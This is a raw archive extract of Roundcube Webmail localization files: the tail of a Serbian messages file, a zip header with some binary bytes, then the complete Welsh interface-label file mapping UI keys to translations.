$messages['siginserted'] = 'Потпис успешно убачен.';
$messages['responseinserted'] = 'Одговор успешно убачен.';
$messages['listempty'] = 'Списак је празан.';
$messages['listusebutton'] = 'Користите дугме Направи да додате нови запис.';
$messages['keypaircreatesuccess'] = 'Нови пар кључева је успешно креиран за $identity.';
$messages['emptyattachment'] = 'Овај прилог делује празно.<br>Проверите са особом која га је послала.';
PK
h�\��Є���%program/localization/cy_GB/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Croeso i $product';
$labels['username'] = 'Enw defnyddiwr';
$labels['password'] = 'Cyfrinair';
$labels['server'] = 'Gweinydd';
$labels['login'] = 'Mewngofnodi';
$labels['oauthlogin'] = 'Mewngofnodi gyda $provider';
$labels['menu'] = 'Bwydlen';
$labels['logout'] = 'Allgofnodi';
$labels['mail'] = 'E-bost';
$labels['settings'] = 'Gosodiadau Personol';
$labels['addressbook'] = 'Llyfr Cyfeiriadau';
$labels['darkmode'] = 'Modd tywyll';
$labels['lightmode'] = 'Modd golau';
$labels['inbox'] = 'Mewnflwch';
$labels['drafts'] = 'Drafftiau';
$labels['sent'] = 'Danfonwyd';
$labels['trash'] = 'Sbwriel';
$labels['junk'] = 'Sothach';
$labels['show_real_foldernames'] = 'Dangos enwau go-iawn ar gyfer ffolderi arbennig';
$labels['subject'] = 'Pwnc';
$labels['from'] = 'Oddi wrth';
$labels['sender'] = 'Anfonwr';
$labels['to'] = 'Derbyniwr';
$labels['cc'] = 'Copi';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'Ateb-I';
$labels['followupto'] = 'Followup-To';
$labels['date'] = 'Dyddiad';
$labels['size'] = 'Maint';
$labels['priority'] = 'Blaenoriaeth';
$labels['organization'] = 'Enw\'r Sefydliad';
$labels['readstatus'] = 'Statws darllen';
$labels['listoptions'] = 'Dewisiadau rhestr...';
$labels['listoptionstitle'] = 'Dewisiadau rhestr';
$labels['mailboxlist'] = 'Ffolderi';
$labels['messagesfromto'] = 'Negeseuon $from i $to o $count';
$labels['threadsfromto'] = 'Edefau $from i $to o $count';
$labels['messagenrof'] = 'Neges $nr o $count';
$labels['fromtoshort'] = '$from - $to o $count';
$labels['copy'] = 'Copio';
$labels['move'] = 'Symud';
$labels['moveto'] = 'Symud i...';
$labels['copyto'] = 'Copio i...';
$labels['download'] = 'Lawrlwytho';
$labels['open'] = 'Agor';
$labels['showattachment'] = 'Dangos';
$labels['showanyway'] = 'Dangos beth bynnag';
$labels['filename'] = 'Enw ffeil';
$labels['filesize'] = 'Maint ffeil';
$labels['addtoaddressbook'] = 'Ychwanegu i\'r llyfr cyfeiriadau';
$labels['sun'] = 'Sul';
$labels['mon'] = 'Llun';
$labels['tue'] = 'Maw';
$labels['wed'] = 'Mer';
$labels['thu'] = 'Iau';
$labels['fri'] = 'Gwe';
$labels['sat'] = 'Sad';
$labels['sunday'] = 'Dydd Sul';
$labels['monday'] = 'Dydd Llun';
$labels['tuesday'] = 'Dydd Mawrth';
$labels['wednesday'] = 'Dydd Mercher';
$labels['thursday'] = 'Dydd Iau';
$labels['friday'] = 'Dydd Gwener';
$labels['saturday'] = 'Dydd Sadwrn';
$labels['jan'] = 'Ion';
$labels['feb'] = 'Chwe';
$labels['mar'] = 'Maw';
$labels['apr'] = 'Ebr';
$labels['may'] = 'Mai';
$labels['jun'] = 'Meh';
$labels['jul'] = 'Gor';
$labels['aug'] = 'Aws';
$labels['sep'] = 'Med';
$labels['oct'] = 'Hyd';
$labels['nov'] = 'Tach';
$labels['dec'] = 'Rhag';
$labels['longjan'] = 'Ionawr';
$labels['longfeb'] = 'Chwefror';
$labels['longmar'] = 'Mawrth';
$labels['longapr'] = 'Ebrill';
$labels['longmay'] = 'Mai';
$labels['longjun'] = 'Mehefin';
$labels['longjul'] = 'Gorffennaf';
$labels['longaug'] = 'Awst';
$labels['longsep'] = 'Medi';
$labels['longoct'] = 'Hydref';
$labels['longnov'] = 'Tachwedd';
$labels['longdec'] = 'Rhagfyr';
$labels['today'] = 'Heddiw';
$labels['refresh'] = 'Ail-ofyn';
$labels['checkmail'] = 'Edrych am negeseuon newydd';
$labels['compose'] = 'Ysgrifennu neges';
$labels['writenewmessage'] = 'Creu neges newydd';
$labels['reply'] = 'Ymateb';
$labels['replytomessage'] = 'Ymateb i\'r anfonwr';
$labels['replytoallmessage'] = 'Ymateb i\'r anfonwr a phob derbyniwr';
$labels['replyall'] = 'Ymateb i bawb';
$labels['replylist'] = 'Ymateb i\'r rhestr';
$labels['forward'] = 'Anfon ymlaen';
$labels['forwardinline'] = 'Anfon ymlaen o fewn y neges';
$labels['forwardattachment'] = 'Anfon ymlaen fel atodiad';
$labels['forwardmessage'] = 'Danfon y neges ymlaen';
$labels['bouncemsg'] = 'Ail-anfon (bowns)';
$labels['bounce'] = 'Ail-anfon';
$labels['deletemessage'] = 'Dileu\'r neges';
$labels['movemessagetotrash'] = 'Symud y neges i\'r sbwriel';
$labels['printmessage'] = 'Argraffu\'r neges';
$labels['previousmessage'] = 'Dangos y neges flaenorol';
$labels['firstmessage'] = 'Dangos y neges gyntaf';
$labels['nextmessage'] = 'Dangos y neges nesaf';
$labels['lastmessage'] = 'Dangos y neges olaf';
$labels['backtolist'] = 'Nôl i\'r rhestr o negeseuon';
$labels['viewsource'] = 'Edrych ar y ffynhonnell';
$labels['mark'] = 'Nodi';
$labels['markmessages'] = 'Nodi\'r negeseuon';
$labels['markread'] = 'Wedi eu darllen';
$labels['markunread'] = 'Heb eu darllen';
$labels['markflagged'] = 'Wedi eu fflagio';
$labels['markunflagged'] = 'Heb eu fflagio';
$labels['markundeleted'] = 'Fel heb ei ddileu';
$labels['moreactions'] = 'Mwy o weithredoedd...';
$labels['markallread'] = 'Nodi pob un wedi ei ddarllen';
$labels['folders-cur'] = 'Ffolder dewiswyd yn unig';
$labels['folders-sub'] = 'Ffolder dewiswyd a\'i isffolderi';
$labels['folders-all'] = 'Pob ffolder';
$labels['more'] = 'Mwy';
$labels['back'] = 'Yn ôl';
$labels['options'] = 'Dewisiadau';
$labels['composeoptions'] = 'Dewisiadau ysgrifennu';
$labels['optionsandattachments'] = 'Dewisiadau ac atodiadau';
$labels['actions'] = 'Gweithredoedd';
$labels['first'] = 'Cyntaf';
$labels['last'] = 'Olaf';
$labels['previous'] = 'Blaenorol';
$labels['next'] = 'Nesaf';
$labels['select'] = 'Dewis';
$labels['selection'] = 'Dewis';
$labels['all'] = 'Popeth';
$labels['none'] = 'Dim';
$labels['currpage'] = 'Tudalen gyfredol';
$labels['isread'] = 'Darllenwyd';
$labels['unread'] = 'Heb eu darllen';
$labels['flagged'] = 'Nodwyd';
$labels['unflagged'] = 'Heb eu Fflagio';
$labels['unanswered'] = 'Heb ei ateb';
$labels['withattachment'] = 'Gyda atodiad';
$labels['deleted'] = 'Dilewyd';
$labels['undeleted'] = 'Heb ei ddileu';
$labels['replied'] = 'Ymatebwyd';
$labels['forwarded'] = 'Anfonwyd ymlaen';
$labels['invert'] = 'Gwrth-droi';
$labels['filter'] = 'Hidlo';
$labels['list'] = 'Rhestr';
$labels['threads'] = 'Edafedd';
$labels['expand-all'] = 'Ehangu Popeth';
$labels['expand-unread'] = 'Ehangu Negeseuon Heb eu darllen';
$labels['collapse-all'] = 'Crebachu Popeth';
$labels['threaded'] = 'Edafedd';
$labels['showunread'] = 'Dangos negeseuon heb eu darllen';
$labels['autoexpand_threads'] = 'Ehangu edefau neges';
$labels['do_expand'] = 'pob edefyn';
$labels['expand_only_unread'] = 'dim ond gyda negeseuon heb eu darllen';
$labels['fromto'] = 'Danfonwr/Derbynnydd';
$labels['flag'] = 'Fflag';
$labels['attachment'] = 'Atodiad';
$labels['nonesort'] = 'Dim';
$labels['sentdate'] = 'Dyddiad danfon';
$labels['arrival'] = 'Dyddiad derbyn';
$labels['asc'] = 'esgynnol';
$labels['desc'] = 'disgynnol';
$labels['listcolumns'] = 'Rhestr colofnau';
$labels['listsorting'] = 'Colofn trefnu';
$labels['listorder'] = 'Trefn didoli';
$labels['listmode'] = 'Golwg rhestr';
$labels['lmode'] = 'Golwg rhestr';
$labels['layout'] = 'Cynllun';
$labels['layoutwidescreen'] = 'Sgrîn lydan';
$labels['layoutdesktop'] = 'Pen bwrdd';
$labels['layoutlist'] = 'Rhestr';
$labels['layoutwidescreendesc'] = 'Sgrîn lydan (golwg 3 colofn)';
$labels['layoutdesktopdesc'] = 'Pen-bwrdd (rhestr lydan a rhagolwg isod)';
$labels['layoutlistdesc'] = 'Rhestr (dim rhagolwg)';
$labels['folderactions'] = 'Gweithredoedd ffolder...';
$labels['compact'] = 'Crynhoi';
$labels['empty'] = 'Gwagio';
$labels['importmessages'] = 'Mewnforio negeseuon';
$labels['mailimportdesc'] = 'Fe allwch chi lwytho fyny ffeiliau ebost mewn fformat <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> neu <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>';
$labels['mailimportzip'] = 'Gellir cywasgu nifer o ffeiliau mewn i archif zip.';
$labels['quota'] = 'Defnydd';
$labels['unknown'] = 'anhysbys';
$labels['unlimited'] = 'diderfyn';
$labels['quotatype'] = 'Math Cwota';
$labels['quotatotal'] = 'Cyfyngiad';
$labels['quotaused'] = 'Defnyddiwyd';
$labels['quotastorage'] = 'Gofod disg';
$labels['quotamessage'] = 'Nifer negeseuon';
$labels['shortheaderdate'] = 'Ar $date';
$labels['shortheaderto'] = 'I $to ar $date';
$labels['shortheaderfrom'] = 'O $from i $date';
$labels['quicksearch'] = 'Chwiliad cyflym';
$labels['searchplaceholder'] = 'Chwilio...';
$labels['resetsearch'] = 'Ail-osod chwiliad';
$labels['searchmod'] = 'Addasyddion chwilio';
$labels['msgtext'] = 'Y neges yn llawn';
$labels['body'] = 'Corff';
$labels['type'] = 'Math';
$labels['namex'] = 'Enw';
$labels['searchscope'] = 'Amrediad';
$labels['currentfolder'] = 'Ffolder cyfredol';
$labels['subfolders'] = 'Hwn a is-ffolderi';
$labels['allfolders'] = 'Pob ffolder';
$labels['searchinterval-1W'] = 'hynach na wythnos';
$labels['searchinterval-1M'] = 'hynach na mis';
$labels['searchinterval-1Y'] = 'hynach na blwyddyn';
$labels['searchinterval1W'] = 'ifancach na wythnos';
$labels['searchinterval1M'] = 'ifancach na mis';
$labels['searchinterval1Y'] = 'ifancach na blwyddyn';
$labels['openinextwin'] = 'Agor mewn ffenest newydd';
$labels['emlsave'] = 'Lawrlwytho (.eml)';
$labels['changeformattext'] = 'Dangos mewn fformat testun plaen';
$labels['changeformathtml'] = 'Dangos mewn fformat HTML';
$labels['editasnew'] = 'Golygu fel neges newydd';
$labels['send'] = 'Anfon';
$labels['sendmessage'] = 'Anfon nawr';
$labels['savemessage'] = 'Cadw\'r drafft hwn';
$labels['addattachment'] = 'Atodi ffeil';
$labels['charset'] = 'Set nodiau';
$labels['editortype'] = 'Math golygydd';
$labels['returnreceipt'] = 'Cadarnhau derbyn';
$labels['dsn'] = 'Hysbysiad statws danfon';
$labels['keepformatting'] = 'Cadw\'r fformatio';
$labels['mailreplyintro'] = 'Ar $date, ysgrifennodd $sender:';
$labels['originalmessage'] = 'Neges Wreiddiol';
$labels['selectimage'] = 'Dewiswch lun';
$labels['addimage'] = 'Ychwanegwch lun';
$labels['selectmedia'] = 'Dewiswch fideo';
$labels['addmedia'] = 'Ychwanegwch fideo';
$labels['encrypt'] = 'Amgryptio';
$labels['encryptmessage'] = 'Amgryptio neges';
$labels['encryptmessagemailvelope'] = 'Amgryption neges gyda Mailvelope';
$labels['importpubkeys'] = 'Mewnforio allweddi cyhoeddus';
$labels['encryptedsendialog'] = 'Anfon neges wedi amgryptio';
$labels['encryptandsign'] = 'Amgodi ac arwyddo';
$labels['keyid'] = 'ID Allwedd';
$labels['keylength'] = 'Didiau';
$labels['keyexpired'] = 'Wedi darfod';
$labels['keyrevoked'] = 'Wedi dirymu';
$labels['bccinstead'] = 'Defnyddio Bcc';
$labels['addheader'] = 'Ychwanegu derbynnydd (pennawd)';
$labels['insert'] = 'Mewnosod';
$labels['insertcontact'] = 'Mewnosod cyswllt/cysylltiadau';
$labels['recipient'] = 'Derbynnwr';
$labels['recipientedit'] = 'Golygu derbynnydd';
$labels['editidents'] = 'Golygu personoliaethau';
$labels['spellcheck'] = 'Sillafu';
$labels['checkspelling'] = 'Gwirio sillafu';
$labels['resumeediting'] = 'Ail-ddechrau golygu';
$labels['revertto'] = 'Dychwelyd i';
$labels['restore'] = 'Adfer';
$labels['restoremessage'] = 'Adfer neges?';
$labels['ignore'] = 'Anwybyddu';
$labels['responses'] = 'Ymatebion';
$labels['insertresponse'] = 'Mewnosod ymateb';
$labels['manageresponses'] = 'Rheoli ymatebion';
$labels['newresponse'] = 'Cadw ymateb newydd';
$labels['addresponse'] = 'Ychwanegu ymateb';
$labels['editresponse'] = 'Golygu ymateb';
$labels['editresponses'] = 'Golygu ymatebion';
$labels['responsename'] = 'Enw';
$labels['responsetext'] = 'Testun Ymateb';
$labels['attach'] = 'Atodi';
$labels['attachments'] = 'Atodiadau';
$labels['upload'] = 'Lanlwytho';
$labels['uploadprogress'] = '$percent ($current o $total)';
$labels['close'] = 'Cau';
$labels['messageoptions'] = 'Dewisiadau neges...';
$labels['togglecomposeoptions'] = 'Newid dewisiadau ysgrifennu';
$labels['attachmentrename'] = 'Ailenwi atodiad';
$labels['low'] = 'Isel';
$labels['lowest'] = 'Isaf';
$labels['normal'] = 'Cyffredin';
$labels['high'] = 'Uchel';
$labels['highest'] = 'Uchaf';
$labels['nosubject'] = '(dim pwnc)';
$labels['showimages'] = 'Dangos lluniau';
$labels['allow'] = 'Caniatau';
$labels['alwaysshow'] = 'Dangos lluniau bob amser o $sender';
$labels['alwaysallow'] = 'Caniatau bob amser o $sender';
$labels['isdraft'] = 'Mae hwn yn neges ddrafft';
$labels['andnmore'] = '$nr mwy...';
$labels['details'] = 'Manylion';
$labels['summary'] = 'Crynodeb';
$labels['headers'] = 'Penawdau';
$labels['allheaders'] = 'Pob pennawd...';
$labels['togglemoreheaders'] = 'Dangos fwy o benynnau\'r neges';
$labels['togglefullheaders'] = 'Toglo penawdau llawn y neges';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Testun plaen';
$labels['savesentmessagein'] = 'Cadw negeseuon a ddanfonir yn';
$labels['dontsave'] = 'peidio cadw';
$labels['maxuploadsize'] = 'Y maint ffeil uchaf a ganiateir yw $size';
$labels['addcc'] = 'Ychwanegu Cc';
$labels['addbcc'] = 'Ychwanegu Bcc';
$labels['addreplyto'] = 'Ychwanegu Ateb-I';
$labels['addfollowupto'] = 'Ychwanegu Followup-To';
$labels['sendreceipt'] = 'Danfon hysbysiad derbyn?';
$labels['mdnrequest'] = 'Mae anfonwr y neges hwn wedi gofyn am hysbysiad eich bod wedi darllen y neges. Hoffech chi hysbysu\'r anfonwr?';
$labels['receiptread'] = 'Cadarnhad Derbyn (darllenwyd)';
$labels['yourmessage'] = 'Mae hwn yn gadarnhad o dderbyn eich neges';
$labels['receiptnote'] = 'Nodyn: Mae\'r cadarnhad hwn yn cydnabod fod y neges wedi ei ddangos ar gyfrifiadur y derbynnydd. \'Does dim sicrwydd fod y derbynydd wedi darllen neu ddeall cynnwys y neges.';
$labels['sendalwaysto'] = 'Danfon bob amser i $email';
$labels['zoomin'] = 'Chwyddo Mewn';
$labels['zoomout'] = 'Chwyddo Allan';
$labels['rotate'] = 'Cylchdroi';
$labels['increaseimage'] = 'Cynyddu maint delwedd';
$labels['decreaseimage'] = 'Lleihau maint delwedd';
$labels['rotateimage'] = 'Cylchdroi delwedd';
$labels['showtools'] = 'Dangos teclynnau delwedd';
$labels['hidetools'] = 'Cuddio teclynnau delwedd';
$labels['name'] = 'Enw ddangosir';
$labels['firstname'] = 'Enw cyntaf';
$labels['surname'] = 'Enw olaf';
$labels['middlename'] = 'Enw Canol';
$labels['nameprefix'] = 'Rhagddodiad';
$labels['namesuffix'] = 'Olddodiad';
$labels['nickname'] = 'Llysenw';
$labels['jobtitle'] = 'Teitl Swydd';
$labels['department'] = 'Adran';
$labels['gender'] = 'Rhyw';
$labels['maidenname'] = 'Enw cyn priodi';
$labels['email'] = 'E-bost';
$labels['phone'] = 'Ffôn';
$labels['address'] = 'Cyfeiriad';
$labels['street'] = 'Stryd';
$labels['locality'] = 'Tref/Dinas';
$labels['zipcode'] = 'Côd Post/ZIP';
$labels['region'] = 'Sîr/Talaith';
$labels['country'] = 'Gwlad';
$labels['birthday'] = 'Penblwydd';
$labels['anniversary'] = 'Cylchwyl';
$labels['website'] = 'Gwefan';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Nodiadau';
$labels['male'] = 'gwryw';
$labels['female'] = 'benyw';
$labels['manager'] = 'Rheolwr';
$labels['assistant'] = 'Cynorthwyydd';
$labels['spouse'] = 'Cymar';
$labels['allfields'] = 'Pob maes';
$labels['search'] = 'Chwilio';
$labels['searchresult'] = 'Canlyniadau chwilio';
$labels['advsearch'] = 'Chwilio Uwch';
$labels['advanced'] = 'Uwch';
$labels['other'] = 'Arall';
$labels['printcontact'] = 'Cyswllt argraffu';
$labels['qrcode'] = 'Cod QR';
$labels['typehome'] = 'Cartref';
$labels['typework'] = 'Gwaith';
$labels['typeother'] = 'Arall';
$labels['typemobile'] = 'Symudol';
$labels['typemain'] = 'Prif';
$labels['typehomefax'] = 'Ffacs Adref';
$labels['typeworkfax'] = 'Ffacs Gwaith';
$labels['typecar'] = 'Car';
$labels['typepager'] = 'Peiriant Galw';
$labels['typevideo'] = 'Fideo';
$labels['typeassistant'] = 'Cynorthwyydd';
$labels['typehomepage'] = 'Gwefan';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Proffil';
$labels['addfield'] = 'Ychwanegu maes...';
$labels['addcontact'] = 'Ychwanegu cyswllt';
$labels['editcontact'] = 'Golygu cyswllt';
$labels['contacts'] = 'Cysylltiadau';
$labels['contactproperties'] = 'Nodweddion cyswllt';
$labels['contactnameandorg'] = 'Enw a Corff';
$labels['personalinfo'] = 'Gwybodaeth bersonol';
$labels['personal'] = 'Persono';
$labels['contactphoto'] = 'Llun cyswllt';
$labels['edit'] = 'Golygu';
$labels['cancel'] = 'Canslo';
$labels['save'] = 'Cadw';
$labels['delete'] = 'Dileu';
$labels['discard'] = 'Gwaredu';
$labels['continue'] = 'Parhau';
$labels['ok'] = 'Iawn';
$labels['rename'] = 'Ail-enwi';
$labels['addphoto'] = 'Ychwanegu';
$labels['replacephoto'] = 'Amnewid';
$labels['uploadphoto'] = 'Lanlwytho llun';
$labels['choosefile'] = 'Dewis ffeil...';
$labels['choosefiles'] = 'Dewis ffeiliau...';
$labels['browse'] = 'Pori';
$labels['newcontact'] = 'Creu cyswllt newydd';
$labels['deletecontact'] = 'Dileu y cysylltiadau a ddewiswyd';
$labels['composeto'] = 'Ysgrifennu neges at';
$labels['contactsfromto'] = 'Cysylltiadau $from i $to o $count';
$labels['print'] = 'Argraffu';
$labels['export'] = 'Allforio';
$labels['exportall'] = 'Allforio popeth';
$labels['exportsel'] = 'Allforio dewiswyd';
$labels['exportvcards'] = 'Allforio cysylltiadau mewn fformat vCard';
$labels['newgroup'] = 'Creu grŵp newydd';
$labels['addgroup'] = 'Ychwanegu grŵp';
$labels['grouprename'] = 'Ail-enwi grŵp';
$labels['groupdelete'] = 'Dileu grŵp';
$labels['groupassign'] = 'Ychwanegu i\'r grŵp...';
$labels['groupremove'] = 'Tynnu o\'r grŵp';
$labels['groupremoveselected'] = 'Dileu y cysylltiadau dewiswyd o\'r grŵp';
$labels['uponelevel'] = 'Fyny un lefel';
$labels['previouspage'] = 'Dangos y set flaenorol';
$labels['firstpage'] = 'Dangos y set gyntaf';
$labels['nextpage'] = 'Dangos y set nesaf';
$labels['lastpage'] = 'Dangos y set olaf';
$labels['group'] = 'Grŵp';
$labels['groups'] = 'Grwpiau';
$labels['listgroup'] = 'Rhestru aelodau\'r grŵp';
$labels['personaladrbook'] = 'Cyfeiriadau Personol';
$labels['searchsave'] = 'Cadw chwiliad';
$labels['searchdelete'] = 'Dileu chwiliad';
$labels['import'] = 'Mewnforio';
$labels['importcontacts'] = 'Mewnforio cysylltiadau';
$labels['importfromfile'] = 'Mewnforio o ffeil';
$labels['importtarget'] = 'Ychwanegu cysylltiadau i';
$labels['importreplace'] = 'Dileu y llyfr cyfeiriadau cyfan wrth lwytho';
$labels['importgroups'] = 'Mewnforio penodiadau grŵp';
$labels['importgroupsall'] = 'Holl (creu grwpiau os oes angen)';
$labels['importgroupsexisting'] = 'Dim ond ar gyfer grwpiau sy\'n bodoli';
$labels['importdesc'] = 'Gallwch lwytho fyny cysylltiadau o lyfr cyfeiriadau blaenorol. <br/>Ar hyn o bryd rydym yn cefnogi mewnforio cyfeiriadau o\'r fformatau data <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> neu CSV (comma-separated)';
$labels['importmapdesc'] = 'Cadarnhewch fod y wybodaeth mapio meysydd isod yn gywir cyn parhau gyda mewnforio data CSV.';
$labels['fieldnotmapped'] = 'Ni fapiwyd y maes (peidio mewnforio)';
$labels['skipheader'] = 'Peidio mewnforio\'r llinell gyntaf (pennawdau)';
$labels['done'] = 'Wedi gorffen';
$labels['settingsfor'] = 'Gosodiadau ar gyfer';
$labels['about'] = 'Amdan';
$labels['preferences'] = 'Dewisiadau';
$labels['userpreferences'] = 'Dewisiadau\'r defnyddiwr';
$labels['editpreferences'] = 'Golygu dewisiadau\'r defnyddiwr';
$labels['identities'] = 'Personoliaethau';
$labels['manageidentities'] = 'Rheoli personoliaethau';
$labels['newidentity'] = 'Creu personoliaeth newydd';
$labels['addidentity'] = 'Ychwanegu personoliaeth';
$labels['editidentity'] = 'Golygu personoliaeth';
$labels['identityencryption'] = 'Amgryptiad';
$labels['preferhtml'] = 'Dangos HTML';
$labels['defaultcharset'] = 'Set Nodau Diofyn';
$labels['htmlmessage'] = 'Neges HTML';
$labels['messagepart'] = 'Rhan';
$labels['digitalsig'] = 'Llofnod Digidol';
$labels['dateformat'] = 'Fformat dyddiad';
$labels['timeformat'] = 'Fformat amser';
$labels['prettydate'] = 'Dyddiadau pert';
$labels['setdefault'] = 'Rhagosod';
$labels['autodetect'] = 'Awto';
$labels['language'] = 'Iaith';
$labels['timezone'] = 'Parth amser';
$labels['pagesize'] = 'Rhesi ar bob tudalen';
$labels['signature'] = 'Llofnod';
$labels['dstactive'] = 'Amser arbed golau ddydd';
$labels['showinextwin'] = 'Agor neges mewn ffenest newydd';
$labels['composeextwin'] = 'Ysgrifennu mewn ffenest newydd';
$labels['htmleditor'] = 'Ysgrifennu negeseuon HTML';
$labels['htmlonreply'] = 'wrth ateb i neges HTML yn unig';
$labels['htmlonreplyandforward'] = 'wrth ddanfon ymlaen neu ymateb i neges HTML';
$labels['htmlsignature'] = 'Llofnod HTML';
$labels['showemail'] = 'Dangos cyfeiriad ebost gyda\'r enw gweledig';
$labels['previewpane'] = 'Dangos ffenest rhagolwg';
$labels['skin'] = 'Croen rhyngwyneb';
$labels['logoutclear'] = 'Clirio\'r Sbwriel wrth allgofnodi';
$labels['logoutcompact'] = 'Crynhoi\'r Mewnflwch wrth allgofnodi';
$labels['uisettings'] = 'Rhyngwyneb Defnyddiwr';
$labels['serversettings'] = 'Gosodiadau Gweinydd';
$labels['mailboxview'] = 'Ymddangosiad y Blychau';
$labels['mdnrequests'] = 'Hysbysiadau anfonwr';
$labels['askuser'] = 'gofyn i\'r defnyddiwr';
$labels['autosend'] = 'anfon yn awtomatig';
$labels['autosendknown'] = 'anfon derbynneb i fy nghysylltiadau, gofyn i mi fel arall';
$labels['autosendknownignore'] = 'anfon derbynneb i fy nghysylltiadau, anwybyddu fel arall';
$labels['autosendtrusted'] = 'danfon hysbysiad derbyn i bob danfonwr ymddiriedig, fel arall gofyn';
$labels['autosendtrustedignore'] = 'danfon hysbysiad derbyn i bob danfonwr ymddiriedig, fel arall anwybyddu';
$labels['ignorerequest'] = 'anwybyddu\'r cais';
$labels['readwhendeleted'] = 'Nodi\'r neges fel darllenwyd wrth ddileu';
$labels['flagfordeletion'] = 'Fflagio\'r neges i\'w ddileu yn hytrach na dileu yn syth';
$labels['skipdeleted'] = 'Peidio dangos negesuon wedi ei dileu';
$labels['deletealways'] = 'Pan fod symud negeseuon i\'r Sbwriel yn methu, dileu nhw';
$labels['deletejunk'] = 'Dileu negeseuon yn uniongyrchol yn Sbwriel';
$labels['showremoteimages'] = 'Dangos lluniau o wefannau allanol';
$labels['allowremoteresources'] = 'Caniatau adnoddau pell (delweddau, arddulliau)';
$labels['fromknownsenders'] = 'o anfonwyr hysbys';
$labels['fromtrustedsenders'] = 'o ddanfonwyr ymddiriedig';
$labels['frommycontacts'] = 'o fy nghysylltiadau';
$labels['always'] = 'bob amser';
$labels['alwaysbutplain'] = 'bob amser, heblaw pan yn ymateb i destun plaen';
$labels['showinlineimages'] = 'Dangos lluniau atodol islaw\'r neges';
$labels['autosavedraft'] = 'Cadw drafft yn awtomatig';
$labels['everynminutes'] = 'bob $n munud';
$labels['refreshinterval'] = 'Ail-lwytho (edrych am negeseuon newydd ayyb)';
$labels['never'] = 'byth';
$labels['immediately'] = 'ar unwaith';
$labels['messagesdisplaying'] = 'Dangos Negeseuon';
$labels['messagescomposition'] = 'Ysgrifennu Negeseuon';
$labels['mimeparamfolding'] = 'Enw atodiadau';
$labels['2231folding'] = 'RFC 2231 llawn (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'RFC 2047 llawn (arall)';
$labels['force7bit'] = 'Defnyddio amgodi MIME ar gyfer llythrennau 8-did';
$labels['savelocalstorage'] = "Cadw yn storfa leol y porwr (dros dro)";
$labels['advancedoptions'] = 'Dewisiadau uwch';
$labels['toggleadvancedoptions'] = 'Newid dewisiadau uwch';
$labels['focusonnewmessage'] = 'Ffocysu\'r porwr ar y neges newydd';
$labels['checkallfolders'] = 'Chwilio pob ffolder am negeseuon newydd';
$labels['displaynext'] = 'Dangos cofnod rhestr nesaf ar ôl dileu/symud';
$labels['defaultfont'] = 'Ffont arferol ar gyfer negeseuon HTML';
$labels['mainoptions'] = 'Prif Ddewisiadau';
$labels['browseroptions'] = 'Dewisiadau Porwr';
$labels['section'] = 'Adran';
$labels['maintenance'] = 'Gwaith cynnal a chadw';
$labels['newmessage'] = 'Neges Newydd';
$labels['signatureoptions'] = 'Dewisiadau Llofnod';
$labels['whenreplying'] = 'Wrth ateb';
$labels['replyempty'] = 'peidio dyfynnu\'r neges wreiddiol';
$labels['replytopposting'] = 'dechrau\'r neges newydd uwchben y neges wreiddiol';
$labels['replytoppostingnoindent'] = 'dechrau neges newydd uwchben y dyfyniad (dim cilosodiad)';
$labels['replybottomposting'] = 'dechrau\'r neges newydd o dan y neges wreiddiol';
$labels['replyremovesignature'] = 'Wrth ateb, dileu\'r llofnod gwreiddiol o\'r neges';
$labels['autoaddsignature'] = 'Ychwanegu llofnod yn awtomatig';
$labels['newmessageonly'] = 'negeseuon newydd yn unig';
$labels['replyandforwardonly'] = 'atebion a danfon ymlaen yn unig';
$labels['insertsignature'] = 'Mewnosod llofnod';
$labels['sigbelow'] = 'Rhowch y llofnod o dan y neges wedi wreiddiol';
$labels['sigseparator'] = 'Gorfodi gwahanwr safonol yn y llofnodion';
$labels['automarkread'] = 'Nodi\'r negeseuon fel darllenwyd';
$labels['afternseconds'] = 'ar ôl $n eiliad';
$labels['reqmdn'] = 'Bob amser gofyn am dderbynneb danfon';
$labels['reqdsn'] = 'Gofyn am hysbysiad statws danfon bob amser';
$labels['replysamefolder'] = 'Rhoi atebion yn yr un ffolder i\'r neges sy\'n cael ei ateb';
$labels['defaultabook'] = 'Llyfr cyfeiriadau diofyn';
$labels['autocompletesingle'] = 'Hepgor cyfeiriadau ebost amgen wrth awto-gwblhau';
$labels['listnamedisplay'] = 'Rhestru cysylltiadau fel';
$labels['contactformmode'] = 'Modd ffurflen gyswllt';
$labels['privatemode'] = 'Preifat (Gartref)';
$labels['businessmode'] = 'Busnes (Gwaith)';
$labels['collectedaddresses'] = 'Cyfeiriadau a gasglwyd';
$labels['collectedrecipients'] = 'Derbynwyr a gasglwyd';
$labels['collectedrecipientsopt'] = 'Storio derbynwyr ebost allanol yn';
$labels['collectedsendersopt'] = 'Storio anfonwyr ymddiriedig yn';
$labels['trustedsenders'] = 'Anfonwyr Ymddiredig';
$labels['spellcheckbeforesend'] = 'Gwirio sillafu cyn anfon neges';
$labels['spellcheckoptions'] = 'Dewisiadau gwirio sillafu';
$labels['spellcheckignoresyms'] = 'Anwybyddu geiriau gyda symbolau';
$labels['spellcheckignorenums'] = 'Anwybyddu geiriau gyda rhifau';
$labels['spellcheckignorecaps'] = 'Anwybyddu geiriau sy\'n briflythrennau yn gyfangwbl';
$labels['addtodict'] = 'Ychwanegu i\'r geiriadur';
$labels['mailtoprotohandler'] = 'Cofrestru trafodwr protocol ar gyfer dolenni mailto:';
$labels['standardwindows'] = 'Trin ffenestri naid fel ffenestri arferol';
$labels['forwardmode'] = 'Danfon neges ymlaen';
$labels['inline'] = 'mewnlin';
$labels['asattachment'] = 'fel atodiad';
$labels['replyallmode'] = 'Gweithred diofyn botwm [Ymateb i bawb]';
